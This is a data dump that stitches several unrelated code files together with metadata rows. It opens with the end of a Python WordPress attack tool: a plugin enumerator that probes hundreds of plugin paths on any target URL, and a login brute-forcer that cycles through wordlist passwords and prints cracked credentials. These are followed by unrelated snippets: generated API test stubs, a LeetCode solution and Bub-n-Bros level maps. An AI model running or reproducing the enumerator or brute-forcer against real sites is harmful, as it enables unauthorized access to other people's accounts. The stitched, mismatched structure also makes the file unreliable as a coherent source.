imate|scroll-back-to-top|maintenance|global-content-blocks|gallery-plugin|editorial-calendar|wp-photo-album-plus|redux-framework|contact-form-7-dynamic-text-extension|meta-box|wp-members|social-media-feather|recent-posts-widget-extended|instagram-image-gallery|blogger-importer|wp-admin-ui-customize|dropbox-backup|ricg-responsive-images|simple-301-redirects|breadcrumb-trail|easy-image-gallery|foobox-image-lightbox|google-publisher|cleantalk-spam-protect|logo-slider|gzip-ninja-speed-compression|spider-event-calendar|wp-updates-notifier|cryptx|google-analyticator|nextend-facebook-connect|wp-construction-mode|adrotate|optinmonster|mce-table-buttons|email-address-encoder|genesis-favicon-uploader|genesis-slider|usc-e-shop|disable-feeds|video-playlist-and-gallery-plugin|crayon-syntax-highlighter|add-from-server|jquery-collapse-o-matic|ps-disable-auto-formatting|ssh-sftp-updater-support|wp-optimize|meta-manager|custom-field-suite|wp-noexternallinks|wp-twitter-feeds|saphali-woocommerce-lite|advanced-text-widget|landing-pages|google-calendar-events|wp-db-backup|user-submitted-posts|simple-ads-manager|exploit-scanner|wordpress-popup|gravity-forms|gravity-forms-custom-post-types|oauth-twitter-feed-for-developers|nospamnx|google-analytics-dashboard-for-wp|post-tags-and-categories-for-pages|booking|theme-junkie-custom-css|relevanssi|wp-visual-icon-fonts|google-maps-widget|audit-trail|better-delete-revision|backup-wp|google-analytics-for-wordpress|instagram-feed|mechanic-visitor-counter|paid-memberships-pro|quotes-collection|custom-login|easy-smooth-scroll-links|accesspress-social-counter|wordpress-move|addquicktag|hide-my-site|business-directory-plugin|dynamic-featured-image|pinterest-pin-it-button|antivirus|persian-woocommerce|user-access-manager|google-sitemap-plugin|dropdown-menu-widget|resize-image-after-upload|all-in-one-wp-migration|wordpress-easy-paypal-payment-or-donation-accept-plugin|wc-gallery|use-any-font|lockdown-wp-admin|simple-lightbox|header-footer|hc-custom-wp-admin-url|user-photo|soundcloud-shortcode|mappress-google-maps-for-wordpress|smk-sidebar-generator|baw-login-logout-menu|nextgen-scrollgallery|ecwid-shopping-cart|nextgen-gallery|slideshow-jquery-image-gallery|contact-form-7-to-database-extension|powerpress|antispam-bee|fancy-box|genesis-enews-extended|leverage-browser-caching-ninjas|uk-cookie-consent|secure-wordpress|bulk-delete|autoptimize|wp-author-date-and-meta-remover|stops-core-theme-and-plugin-updates|contact-form-email|no-page-comment|disable-xml-rpc-pingback|synved-shortcodes|image-widget|advanced-sidebar-menu|email-before-download|gregs-high-performance-seo|contextual-related-posts|wp-rss-aggregator|wp-customer-reviews|like-box|edit-author-slug|hide-title|multiple-content-blocks|nextcellent-gallery-nextgen-legacy|slimjetpack|asesor-cookies-para-la-ley-en-espana|sg-cachepress|yith-woocommerce-wishlist|youtube-embed-plus|improved-include-page|any-mobile-theme-switcher|coming-soon|simply-exclude|login-customizer|tubepress|magic-fields-2|admin-post-navigation|peters-login-redirect|wunderground|twitter-plugin|groups|easy-video-player|formbuilder|wp-math-captcha|kiwi-logo-carousel|lightbox-gallery|contact-bank|quick-cache|raw-html|statify|zero-spam|tumblr-importer|simple-map|postman-smtp|custom-field-template|disable-emojis|link-library|contact-form-7-datepicker|widget-shortcode|background-manager|accesspress-social-icons|my-calendar|rvg-optimize-database|enable-media-replace|woocommerce-custom-product-tabs-lite|nextgen-facebook|404-to-301|wordpress-seo|juiz-social-post-sharer|twitter-widget-pro|worker|all-in-one-schemaorg-rich-snippets|youtube-channel|pixtypes|woocommerce-exporter|child-theme-configurator|easy-media-gallery|olevmedia-shortcodes|facebook-button-plugin|easy-pricing-tables|genesis-responsive-slider|opml-importer|slickr-flickr|bwp-google-xml-sitemaps|disable-wordpress-updates|amazon-s3-and-cloudfront|coming-soon-page|portfolio-gallery|page-links-to|tweet-old-post|cookie-law-info|cloudflare|remove-query-strings-from-static-resources|all-in-one-wp-security-and-firewall|social-sharing-toolkit|wp-dbmanager|virtue-toolkit|eig-sso|foogallery|custom-share-buttons-with-floating-sidebar|smart-slider-2|custom-permalinks|w3-total-cache|latest-tweets-widget|ultimate-social-media-icons|site-is-offline-plugin|easy-social-icons|woocommerce-admin-bar-addition|wordpress-popular-posts|kk-star-ratings|so-css|password-protect-wordpress|gotmls|fonts|simple-sitemap|seamless-donations|woocommerce-grid-list-toggle|adsense-plugin|uber-login-logo|amr-shortcode-any-widget|twitter-tools|homepage-control|wpgform|heartbeat-control|debug-bar|googleanalytics|cleaner-gallery|bwp-recaptcha|wpremote|wp-total-hacks|woocommerce-all-in-one-seo-pack|embedplus-for-wordpress|iwp-client|gwolle-gb|wp-migrate-db|social-networks-auto-poster-facebook-twitter-g|custom-post-type-ui|testimonial-rotator|the-events-calendar|tablepress|advanced-image-styles|all-in-one-seo-pack|maxbuttons|official-statcounter-plugin-for-wordpress|ditty-news-ticker|facebook-auto-publish|so-widgets-bundle|all-in-one-event-calendar|top-10|cyr3lat|bbpress|genesis-translations|ad-widget|woocommerce-customizer|wp-sendgrid|export-users-to-csv|fancy-gallery|soliloquy-lite|wp-postviews|tw-recent-posts-widget|flexible-posts-widget|one-click-child-theme|portfolio-post-type|reveal-ids-for-wp-admin-25|lazy-load|easy-watermark|wordpress-backup-to-dropbox|formget-contact-form|facebook-pagelike-widget|wp-editor|simple-share-buttons-adder|revision-control|acf-field-date-time-picker|woocommerce-google-analytics-integration|toggle-the-title|post-types-order|woocommerce-menu-bar-cart|crazyegg-heatmap-tracking|facebook|rus-to-lat-advanced|better-wp-security|members|wordpress-mobile-pack|csv-importer|buddypress|attachments|nimble-portfolio|wp-job-manager|contact-form-7|wp-media-library-categories|wps-hide-login|adminimize|google-analytics-dashboard|woocommerce-pagseguro|image-watermark|google-maps-builder|syntaxhighlighter|slider-wd|ninja-forms|wp-job-manager-contact-listing|easy-pie-coming-soon|calculated-fields-form|wp-memory-usage|safe-redirect-manager|simple-social-icons|facebook-like-box-widget|mashsharer|subscribe-to-comments-reloaded|easy-modal|category-posts|cimy-user-extra-fields|password-protected|wp-review|contact-form-maker|contact-form-7-recaptcha-extension|speed-booster-pack|nofollow-links|wysija-newsletters|aweber-web-form-widget|paypal-for-woocommerce|advanced-wp-columns|qtranslate-slug|nofollow|google-captcha|captcha|bootstrap-3-shortcodes|restricted-site-access|wp-useronline|breadcrumb-navxt|xml-sitemap-feed|yet-another-related-posts-plugin|form-maker|simple-follow-me-social-buttons-widget|insert-php|wp-stats|google|posts-in-page|underconstruction|email-encoder-bundle|simple-tags|revslider|fourteen-colors|display-widgets|mw-wp-form|nginx-helper|custom-favicon|new-user-approve|easy-adsense-lite|jquery-pin-it-button-for-images|facebook-members|html-javascript-adder|manual-image-crop|iq-block-country|sidebar-login|bulk-page-creator|bwp-minify|woocommerce-checkout-manager|showcase-visual-composer-addon|ultimate-tag-cloud-widget|simple-slider-ssp|twitter|flickr-badges-widget|codepress-admin-columns|wp-clone-by-wp-academy|si-contact-form|wp-e-commerce|user-switching|eu-cookie-law|mythemeshop-connect|thesis-openhook|taxonomy-images|gigpress|options-framework|nav-menu-images|wufoo-shortcode|subscribe-to-comments|mp3-jplayer|easy-social-share-buttons|use-google-libraries|yop-poll|wp-gallery-custom-links|easy-table|fancybox-for-wordpress|posts-to-posts|easy-facebook-likebox|php-code-widget|widget-contact-form-7|testimonials-widget|sucuri-scanner|adminer|trust-form|s2member|insert-html-snippet|floating-social-media-icon|bruteprotect|wp-content-copy-protection|flamingo|font|wp125|child-themify|wp-jalali|go-live-update-urls|wpcat2tag-importer|sem-external-links|all-in-one-webmaster|p3-profiler|zopim-live-chat|google-plus-authorship|baidu-sitemap-generator|printfriendly|rss-import|facebook-by-weblizar|movabletype-importer|visitor-maps|hello-dolly|pirate-forms|social-media-icons-widget|wpide|postie|widgetize-pages-light|simple-wp-sitemap|cardoza-facebook-like-box|vanilla-pdf-embed|testimonials-by-woothemes|001-prime-strategy-translate-accelerator|disqus-comment-system|job-manager|post-type-archive-links|features-by-woothemes|wp-filebase|duplicator|infolinks-officlial-plugin|calendar|wp-print|smooth-slider|wp-sticky|social-media-widget|wp-slimstat|login-with-ajax|content-views-query-and-display-post-page|simple-twitter-tweets|forget-about-shortcode-buttons|video-thumbnails|advanced-custom-fields|wp-fail2ban|wp-database-backup|simple-maintenance-mode|better-font-awesome|my-custom-css|newsletter|genesis-simple-sidebars|facebook-comments-plugin|si-captcha-for-wordpress|widget-importer-exporter|favicon-rotator|wordpress-language|jquery-smooth-scroll|dw-question-answer|visual-form-builder|wp-fastest-cache|nav-menu-roles|no-comments|wp-paginate|wp-subscribe|disable-comments|table-of-contents-plus|head-cleaner|search-regex|gallery-video|google-sitemap-generator|woocommerce-sequential-order-numbers|wordpress-social-ring|anti-spam|events-manager|really-simple-csv-importer|wordpress-reset|hupso-share-buttons-for-twitter-facebook-google|another-wordpress-classifieds-plugin|google-xml-sitemaps-v3-for-qtranslate|dirtysuds-embed-pdf|grand-media|cta|search-everything|taxonomy-metadata|wonderm00ns-simple-facebook-open-graph-tags|easy-bootstrap-shortcodes|wp-social-bookmarking-light|formidable|wp-instagram-widget|iframe|genesis-simple-edits|floating-social-bar|magic-action-box|newpost-catch|leaflet-maps-marker|404-redirection|wp-crontrol|post-duplicator|list-category-posts|widget-context|footer-putter|wordpress-form-manager|eps-301-redirects|simply-instagram|popup-maker|wp-multibyte-patch|wordpress-post-tabs|ultimate-coming-soon-page|wp-piwik|edit-flow|disable-xml-rpc|genesis-simple-hooks|mailchimp-forms-by-mailmunch|wp-live-chat-support|click-to-tweet-by-todaymade|wp-copyprotect|meteor-slides|simple-custom-post-order|post-expirator|woocommerce-multilingual|responsive-select-menu|responsive-photo-gallery|zencache|search-meter|varnish-http-purge|ml-slider|image-slider-widget|pubsubhubbub|enhanced-text-widget|ifeature-slider|user-role-editor|duplicate-post|instagram-slider-widget|favicon-by-realfavicongenerator|tiny-compress-images|newsletter-sign-up|wp-responsive-menu|ultimate-posts-widget|wp-pagenavi|pricing-table|gallery-images|acurax-social-media-widget|aryo-activity-log|google-authenticator|simple-facebook-plugin|redirection|rich-text-tags|woocommerce-jetpack|add-logo-to-admin|youtube-widget-responsive|clicky|only-tweet-like-share-and-google-1|rss-footer|duplicate-menu|menu-social-icons|cpt-bootstrap-carousel|simple-full-screen-background-image|wp-ban|fv-wordpress-flowplayer|wp-google-map-plugin|fv-top-level-cats|basic-google-maps-placemarks|wp-htaccess-control|siteorigin-panels|bj-lazy-load|easy-sign-up|wp-recaptcha|related-posts-by-zemanta|quick-pagepost-redirect-plugin|jquery-updater|recent-tweets-widget|contact-form-builder|video-sidebar-widgets|newstatpress|admin-management-xtended|advanced-code-editor|page-scroll-to-id|polylang|columns|ad-inserter|cookies-for-comments|under-construction-wp|delete-all-comments|carousel-without-jetpack|wp-missed-schedule|pdf-embedder|admin-menu-tree-page-view|erident-custom-login-and-dashboard|sumome|feedwordpress|taxonomy-terms-order|wordfence|ultimate-member|woocommerce-poor-guys-swiss-knife|strictly-autotags|wangguard|styles|responsive-lightbox|page-list|oa-social-login|addthis-smart-layers|login-lockdown|envira-gallery-lite|better-search-replace|rss-importer|wp-external-links|wp-mail-smtp|qtranslate-x|intuitive-custom-post-order|pretty-link|sharebar|alo-easymail|magic-fields|wp-flexible-map|download-manager|theme-check|cyclone-slider-2'.split('|')
print('\n\n '+YELLOW+'['+GREEN+'!'+YELLOW+']'+BLUE+'Please Enter The Target Url\n')
Target = input(MAGENTA+' > '+GREEN)
Url = UrlTools(Target)
print('\n\n')
print(' '+YELLOW+'['+CYAN+'*'+YELLOW+']'+MAGENTA+'Target'+WHITE+': '+GREEN+Url)
for Plug in Plugins:
try:
r = requests.get('http://'+Url+'/wp-content/plugins/'+Plug,headers=Headers)
if r.status_code == 200:
print(' '+YELLOW+'['+CYAN+'+'+YELLOW+']'+MAGENTA+'http://'+Url+'/wp-content/plugins/'+Plug+WHITE+' -> '+GREEN+'Is Available!')
continue
else:
print(' '+YELLOW+'['+CYAN+'-'+YELLOW+']'+MAGENTA+'http://'+Url+'/wp-content/plugins/'+Plug+WHITE+' -> '+RED+'Is Not Available!')
continue
except KeyboardInterrupt:
break
else:
print(' '+YELLOW+'['+CYAN+'-'+YELLOW+']'+MAGENTA+'http://'+Url+'/wp-content/plugins/'+Plug+WHITE+' -> '+RED+'Is Not Available!')
continue
input('\n\n\n'+GREEN+'Finished!'+'\n'+GREEN+'Press '+'`'+MAGENTA+'Enter'+GREEN+'` To Continue'+WHITE+'...')
Main()
def BruteForcer():
print('\n\n '+YELLOW+'['+GREEN+'!'+YELLOW+']'+BLUE+'Please Enter The Target Url\n')
Target = input(MAGENTA+' > '+GREEN)
Url = UrlTools(Target)
print('\n')
print(' '+YELLOW+'['+GREEN+'!'+YELLOW+']'+BLUE+'Please Enter The Target Username\n')
Username = input(MAGENTA+' > '+GREEN)
print('\n')
print(' '+YELLOW+'['+GREEN+'!'+YELLOW+']'+BLUE+'Please Enter The Wordlist\n')
Passowrds = input(MAGENTA+' > '+GREEN)
print('\n\n')
Passowrds = open(Passowrds,'r').read().splitlines()
print(' '+YELLOW+'['+CYAN+'*'+YELLOW+']'+MAGENTA+'Target'+WHITE+': '+GREEN+Url)
for Pass in Passowrds:
try:
Payload ={
'log':Username,
'pwd':Pass,
'wp-submit':'ورود',
'redirect_to':'http://'+Url+'/wp-admin/',
'testcookie':1
}
r = requests.post('http://'+Url,data=Payload,headers=Headers)
c = str(r.cookies)
if 'wordpress_logged_in_' in c:
print(' '+YELLOW+'['+GREEN+'+'+YELLOW+']'+MAGENTA+'Target'+WHITE+': '+RED+Url+WHITE+' -> '+GREEN+'Cracked!')
print(' '+YELLOW+'['+GREEN+'~'+YELLOW+']'+MAGENTA+'Login Page'+WHITE+': '+GREEN+Url)
print(' '+YELLOW+'['+GREEN+'~'+YELLOW+']'+MAGENTA+'Username'+WHITE+': '+GREEN+Username)
print(' '+YELLOW+'['+GREEN+'~'+YELLOW+']'+MAGENTA+'Password'+WHITE+': '+GREEN+Pass)
break
else:
print(' '+YELLOW+'['+RED+'-'+YELLOW+']'+MAGENTA+'Target'+WHITE+': '+RED+Url+WHITE+' -> '+RED+' Not Cracked!')
continue
except KeyboardInterrupt:
break
else:
print(' '+YELLOW+'['+RED+'-'+YELLOW+']'+MAGENTA+'Target'+WHITE+': '+RED+Url+WHITE+' -> '+RED+' Not Cracked!')
continue
input('\n\n\n'+GREEN+'Finished!'+'\n'+GREEN+'Press '+'`'+MAGENTA+'Enter'+GREEN+'` To Continue'+WHITE+'...')
Main()
while True:
Main()
| 129.236111 | 19,014 | 0.72581 | 3,635 | 27,915 | 5.537001 | 0.329023 | 0.009291 | 0.009291 | 0.007552 | 0.078651 | 0.066478 | 0.063149 | 0.058876 | 0.058578 | 0.058578 | 0 | 0.007614 | 0.096651 | 27,915 | 215 | 19,015 | 129.837209 | 0.790538 | 0 | 0 | 0.28934 | 0 | 0.025381 | 0.774996 | 0.685008 | 0.035533 | 0 | 0 | 0 | 0 | 1 | 0.055838 | false | 0.040609 | 0.010152 | 0 | 0.086294 | 0.116751 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
e4282fde78873c3462d9f2e2f1775b1ceb6f4302 | 67 | py | Python | reqcheck/defines.py | jaleskovec/reqcheck | ffc13cd28127f751617cdd29f7003866341fca58 | [
"MIT"
] | null | null | null | reqcheck/defines.py | jaleskovec/reqcheck | ffc13cd28127f751617cdd29f7003866341fca58 | [
"MIT"
] | 2 | 2021-01-27T12:22:11.000Z | 2021-01-31T03:32:08.000Z | reqcheck/defines.py | jaleskovec/reqcheck | ffc13cd28127f751617cdd29f7003866341fca58 | [
"MIT"
] | null | null | null | PYPI_PKG_JSON_URL = 'https://pypi.python.org/pypi/{pkg_name}/json'
| 33.5 | 66 | 0.761194 | 12 | 67 | 3.916667 | 0.666667 | 0.297872 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.044776 | 67 | 1 | 67 | 67 | 0.734375 | 0 | 0 | 0 | 0 | 0 | 0.656716 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
e44fff06605accfced7474bb90e9c9c639b59ba1 | 1,866 | py | Python | sdks/python/test/test_job_server_api.py | barryw/bjr | de56f22198b34a9d303ee43ac01134b5cf1ce863 | [
"BSD-3-Clause"
] | 2 | 2020-06-04T03:04:15.000Z | 2020-06-13T12:53:58.000Z | sdks/python/test/test_job_server_api.py | barryw/bjr | de56f22198b34a9d303ee43ac01134b5cf1ce863 | [
"BSD-3-Clause"
] | 6 | 2020-05-24T12:56:25.000Z | 2022-02-26T07:13:17.000Z | sdks/python/test/test_job_server_api.py | barryw/bjr | de56f22198b34a9d303ee43ac01134b5cf1ce863 | [
"BSD-3-Clause"
] | null | null | null | """
BJR API V1
API specification for the BJR job server. # noqa: E501
The version of the OpenAPI document: v1
Generated by: https://openapi-generator.tech
"""
import unittest
import bjr4py
from bjr4py.api.job_server_api import JobServerApi # noqa: E501
class TestJobServerApi(unittest.TestCase):
"""JobServerApi unit test stubs"""
def setUp(self):
self.api = JobServerApi() # noqa: E501
def tearDown(self):
pass
def test_get_busy_thread_count(self):
"""Test case for get_busy_thread_count
Retrieve the count of busy workers across worker pods/nodes # noqa: E501
"""
pass
def test_quiesce_node(self):
"""Test case for quiesce_node
Quiesce a single worker pod/node # noqa: E501
"""
pass
def test_recent_jobs(self):
"""Test case for recent_jobs
List of recent jobs # noqa: E501
"""
pass
def test_stats_by_day(self):
"""Test case for stats_by_day
Job statistics by day # noqa: E501
"""
pass
def test_stats_by_hour(self):
"""Test case for stats_by_hour
Job statistics by hour # noqa: E501
"""
pass
def test_stats_by_minute(self):
"""Test case for stats_by_minute
Job statistics by minute # noqa: E501
"""
pass
def test_stats_by_week(self):
"""Test case for stats_by_week
Job statistics by week # noqa: E501
"""
pass
def test_todays_stats(self):
"""Test case for todays_stats
Todays Stats # noqa: E501
"""
pass
def test_upcoming_jobs(self):
"""Test case for upcoming_jobs
List of upcoming jobs # noqa: E501
"""
pass
if __name__ == '__main__':
unittest.main()
| 20.282609 | 81 | 0.592176 | 235 | 1,866 | 4.493617 | 0.276596 | 0.090909 | 0.09375 | 0.127841 | 0.289773 | 0.181818 | 0.098485 | 0 | 0 | 0 | 0 | 0.031847 | 0.326902 | 1,866 | 91 | 82 | 20.505495 | 0.808917 | 0.449089 | 0 | 0.357143 | 1 | 0 | 0.01 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.392857 | false | 0.357143 | 0.107143 | 0 | 0.535714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 4 |
e453c73c712e60c48f35635362a5134411fde0ee | 126 | py | Python | Two Pointers/977. Squares of a Sorted Array.py | viewv/leetcode | b31e643846bb38978746342e3e3a94991178565a | [
"MIT"
] | 2 | 2018-02-26T09:12:19.000Z | 2019-06-07T13:38:10.000Z | Two Pointers/977. Squares of a Sorted Array.py | viewv/leetcode | b31e643846bb38978746342e3e3a94991178565a | [
"MIT"
] | 1 | 2018-12-24T07:03:34.000Z | 2018-12-24T07:03:34.000Z | Two Pointers/977. Squares of a Sorted Array.py | viewv/leetcode | b31e643846bb38978746342e3e3a94991178565a | [
"MIT"
] | 2 | 2018-12-24T07:01:03.000Z | 2019-06-07T13:38:07.000Z | class Solution:
def sortedSquares(self, A: List[int]) -> List[int]:
A = sorted([x*x for x in A])
return A
| 25.2 | 55 | 0.563492 | 20 | 126 | 3.55 | 0.65 | 0.197183 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.293651 | 126 | 4 | 56 | 31.5 | 0.797753 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 4 |
e48908affa0395ff7ff9d5048e8d8bc5247efee7 | 50,445 | py | Python | bubbob/levels/CompactLevels.py | smmalmansoori/bub-n-bros | 5d1db7192edcf981a988fa17f008af3f50611822 | [
"MIT"
] | 3 | 2021-02-04T09:18:45.000Z | 2021-03-03T02:04:15.000Z | bubbob/levels/CompactLevels.py | smmalmansoori/bub-n-bros | 5d1db7192edcf981a988fa17f008af3f50611822 | [
"MIT"
] | 2 | 2022-03-18T09:46:12.000Z | 2022-03-25T09:36:42.000Z | bubbob/levels/CompactLevels.py | smmalmansoori/bub-n-bros | 5d1db7192edcf981a988fa17f008af3f50611822 | [
"MIT"
] | 1 | 2022-02-03T09:29:45.000Z | 2022-02-03T09:29:45.000Z | #
# A series of compact levels.
#
import boarddef, mnstrmap, random
from boarddef import LNasty, LMonky, LGhosty, LFlappy
from boarddef import LSpringy, LOrcy, LGramy, LBlitzy
from boarddef import RNasty, RMonky, RGhosty, RFlappy
from boarddef import RSpringy, ROrcy, RGramy, RBlitzy
class level01(boarddef.Level):
a = LNasty
b = RNasty
walls = """
#############################
## ##
## ##
## ##
## ##
## ##
## ##
## a b ##
#### ############### ####
## ##
## ##
## ##
## a b ##
#### ############### ####
## ##
## ##
## ##
## a b ##
#### ############### ####
## ##
## ##
## ##
## ##
#############################
"""
class level02(boarddef.Level):
a = LNasty
b = RNasty
g = RGhosty
walls = """
#############################
## # ##
## # ##
## # ##
## # g ##
## g # ##
## # ##
## # ##
#### ############### ####
## # # ##
## # # ##
## # # ##
## # a b # ##
#### ############### ####
## ##
## ##
## ##
## ##
#### ####
## ##
## ##
## ##
## ##
#############################
"""
class level03(boarddef.Level):
a = LNasty
b = RNasty
letter = 1
walls = """
######### ### #########
## # # ##
## # # ##
## # # ##
## # # ##
##b # # # # a ##
###### ##### ##### ######
## ##
## ##
## ##
## #b # # # # a # ##
## ##### ##### ##### ##
## # # ##
## # # ##
## # # ##
##b # # a ##
####### # b # #######
## ####### ##
## # ##
## # ##
## # ##
## # ##
## # ##
######### ### #########
""" #|# #|# #|# """
class level04(boarddef.Level):
a = LNasty
b = RNasty
g = LOrcy
fire = 1
walls = """
######### ### #########
## # # ##
## # # ##
## # # ##
## # # ##
##b # # # # a ##
###### ##### ##### ######
## ##
## ##
## ##
## #b # #gg # # a # ##
## ##### ##### ##### ##
## # # ##
## # # ##
## # # ##
##b # # a ##
####### # b # #######
## ####### ##
## # ##
## # ##
## # ##
## # ##
## # ##
######### ### #########
""" #|# #|# #|# """
class level05(boarddef.Level):
a = LNasty
b = RNasty
g = LOrcy
f = RFlappy
water = top = letter = 1
walls = """
## # # ##
## # # ##
## # # ##
## # # ##
## # # ##
##b # # # # a ##
#### # ##### ##### # ####
## ##
## ##
## ##
## #b # #gg # # a # ##
## # ### ## ## ### # ##
## # # ##
## # # ##
## # f # ##
##b # # a ##
####### # b # #######
## # ### # ##
## ##
## ##
## ##
## ##
## ##
######### #########
""" #|# #|# #|# """
winds = """
>> <<
>>xxxxxxxxxxxxxxxxxxxxxxxxx<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
"""
class level06(boarddef.Level):
a = LNasty, RNasty, LMonky
letter = fire = 1
walls = """
#############################
## ##
## ##
## ##
## ##
## ##
## ##
## ### ##
## # ## ##
## ## # ## # ##
## # # ## # # ##
## ## # # # # # ##
## # #### # # #a ##
## a #### #############
## #### ##
#### ##
## ##
## ##
## ##
## ##
## ##
## ##
## ##
#############################
""" #|# #|# #|# """
class level07(boarddef.Level):
g = LGhosty, LGhosty, LGhosty, LGhosty
h = RGhosty, RGhosty, RGhosty, RGhosty
letter = lightning = 1
walls = """
## ##
## ##
## # # ##
## # # ##
## # # ##
## ### ### ##
##h # # # # #g ##
## # # # # # # # ##
##### #### # #### #####
## # # # ### # # # ##
## # # # # # # ##
## ### # # # ### ##
## # #### #### # ##
## # # # # # ##
## # # # # ##
## ### ##
## # ##
## # # # ##
## # # # ##
## # # ##
## ### ### ##
## # # # # ##
## # # # # # # ##
## #### #### #### #### ##
""" #|# #|# #|# """
class level08(boarddef.Level):
s = LSpringy
r = RSpringy
f = LFlappy
g = RFlappy
walls = """
#############################
## ##
## g f ##
## ##
## ##
## ##
## ##
## ##
## # ##
## ##
## ### ##
## ##
## ##### ##
## ##
## ####### ##
## ##
## ######### ##
## sssrrr ##
## ########### ##
## ##
## ##
## ##
## ##
#############################
""" #|# #|# #|# """
class level09(boarddef.Level):
m = (LMonky, RMonky,)*5
g = LGhosty
walls = """
####### #### #### #######
####### #### #### #######
## ## ## ##
## ## ## ##
## g ## ## g ##
## ## ## ##
## ## ## ##
#### ##### ##### ####
#### ##### ##### ####
## ##
## ## #### #### ## ##
## ## #### #### ## ##
## ## ## ##
#### ## ## ####
#### ## m ## ####
## ## ### ## ##
## ## ## ### ## ## ##
## ## ## ### ## ## ##
## ## ### ## ##
#### ## ## ####
#### ## ## ####
## ## ## ##
## ## #### #### ## ##
####### #### #### #######
""" #|# #|# #|# """
class level10(boarddef.Level):
n = LNasty
fire = top = 1
walls = """
## ##### ## ##
## ##nn ## ##
## ####### ##
## ##
## ##
## ## ##### ##
## ##nn ## ##
## ####### ##### ## ##
## ##nn ## ##
## ####### ##
## ##
## ##
## ## ##### ##
## ##nn ## ##
## ####### ##
## ##
## ##### ## ##
## ##nn ## ##
## ####### ##
## ##
## ##
## ##
## ##
#############################
""" #|# #|# #|# """
winds = """
>> <<
>>> >>v xxx <<<
>>^ ^<<
>>^ v<<<^<<
>>^ ^<<
>>^ ^<<
>>^ xxx v<< ^<<
>>^ ^<<
>>^>>>v >>v xxx ^<<
>>^ ^<<
>>^ >v ^<<
>>^ ^<<
>>^ ^<<
>>^ xxx v<< ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ xxx ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
"""
class level11(boarddef.Level):
o = LOrcy
p = ROrcy
letter = fire = water = lightning = top = 1
walls = """
## ##
## ##
### ###
## # # ##
## # # ##
## # # ##
## # # # # ##
## # ##
## o p o # # #p o p ##
####### #### # #### #######
## # ##
## # ##
## # ##
## # # # ##
## # # # ##
## # # # ##
## # # # ##
## # # # ##
## # # # ##
## # # # ##
## # # # ##
## # # # # # # ##
## # # ##
###### ###### ###### ######
""" #|# #|# #|# """
class level12(boarddef.Level):
o = LGramy
walls = """
## #### ##
## # # ##
## #### ##
## # # ##
## # o ##
## #################
## # # ##
## #### ##
## o # # # ##
## ######### #### ##
## # # # # ##
## #### # o ##
## # # ############
## #### # # ##
## # # #### ##
## o # # # ##
############ #### ##
## # # # # ##
## #### o # ##
## # # ######## ##
## #### ##
## # # ##
## ##
#############################
""" #|# #|# #|# """
class level13(boarddef.Level):
n = LNasty
m = LMonky
g = LGhosty
f = LFlappy
s = LSpringy
o = LOrcy
r = LGramy
b = LBlitzy
walls = """
## # #### ##
## f ## ## #### ##
## #### ## ## ##
## #### # ##
## #### f ###### ##
## ## ## f ###### ##
## # #### #### #### ##
## ###### ###### ##
## ###### ###### ##
## #### #### # ##
## ## ## f ##
## #### ##
## f ##
## #### ##
## ###### ##
## #### ###### ##
## ## ## # #### ##
## # #### f ## ## ##
## ###### #### ##
## ###### ##
## #### ##
## ##
## #### ##
###### ###### #####
""" #|# #|# #|# """
class level14(boarddef.Level):
o = LOrcy
r = LGramy
walls = """
#############################
## ##
## ##
## ##
## ##
## ##
## ##
## ##
## ##
## ##
## ##
## ### ### ##
## ## ## ##
## # # ##
## ### ### ##
## ## ## ##
## # # ##
## ## ## ##
## ## ## ##
## ### ### ##
## ## ## ##
## ## ## ##
## ##or or ## ##
#############################
""" #|# #|# #|# """
class level15(boarddef.Level):
s = LSpringy
g = LGhosty
walls = """
#############################
## ##
## ##
## ##
## s s ##
## s s ##
## s s ##
## ###s #####s ### ##
## # ## ####### ## # ##
## # ### ### # ##
## ## ### ### ## ##
## # ### g ### # ##
## # ### ### # ##
## # ### ### # ##
## # ## ####### ## # ##
## ### ##### ### ##
## ##
## ##
## ##
## ##
## ##
## ##
## ##
#############################
""" #|# #|# #|# """
class level16(boarddef.Level):
l = LBlitzy, LGramy
r = RBlitzy, RGramy
letter = 1
walls = """
#############################
## l r ##
## #### ## ##
## #### ## #### ## ##
## #### ## #### ## ##
## l ## ## #### ## ##
## #### ## ## l ##
## #### ## ## #### ##
## ## ## ## #### ##
